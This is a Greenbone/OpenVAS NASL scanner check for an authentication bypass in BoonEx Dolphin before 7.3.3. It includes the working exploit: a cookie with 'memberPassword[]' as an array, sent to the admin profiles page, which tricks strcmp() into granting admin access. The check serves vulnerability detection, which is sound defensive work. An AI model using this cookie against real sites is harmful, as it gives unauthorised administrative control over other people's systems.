Dolphin < 7.3.3 Authentication Bypass Vulnerability

# Copyright (C) 2016 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:boonex:dolphin";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.106361");
  script_version("2022-03-03T11:03:24+0000");
  script_tag(name:"last_modification", value:"2022-03-03 11:03:24 +0000 (Thu, 03 Mar 2022)");
  script_tag(name:"creation_date", value:"2016-11-01 10:57:40 +0700 (Tue, 01 Nov 2016)");
  script_tag(name:"cvss_base", value:"6.4");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:N");

  script_name("Dolphin < 7.3.3 Authentication Bypass Vulnerability");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2016 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_dolphin_http_detect.nasl");
  script_mandatory_keys("boonex/dolphin/http/detected");

  script_tag(name:"summary", value:"Dolphin is prone to an authentication bypass vulnerability.");

  script_tag(name:"vuldetect", value:"Tries to bypass the authentication and access the admin panel.");

  script_tag(name:"insight", value:"Dolphin uses strcmp() to check the password in admin.inc.php.
  If an array is provided instead of a string in the cookie value 'memberPassword, authentication
  can be bypassed.");

  script_tag(name:"impact", value:"An attacker may bypass the authentication and access e.g. the
  admin panel.");

  script_tag(name:"affected", value:"BoonEx Dolphin version 7.3.2 and prior.");

  script_tag(name:"solution", value:"Update to version 7.3.3 or later.");

  script_xref(name:"URL", value:"https://security-geeks.blogspot.com/2016/10/boonex-dolphin-all-versoin-73.html");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

vtstrings = get_vt_strings();

url = dir + "/administration/profiles.php";
cookie = "memberID=1; memberPassword[]=" + vtstrings["lowercase"];

if (http_vuln_check(port: port, url: url, pattern: "Admin Menu", extra_check: 'title="Logout"',
                    check_header: TRUE, cookie: cookie)) {
  report = 'It was possible to bypass the authentication and access the admin panel under: ' +
           http_report_vuln_url(port: port, url: url, url_only: TRUE);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);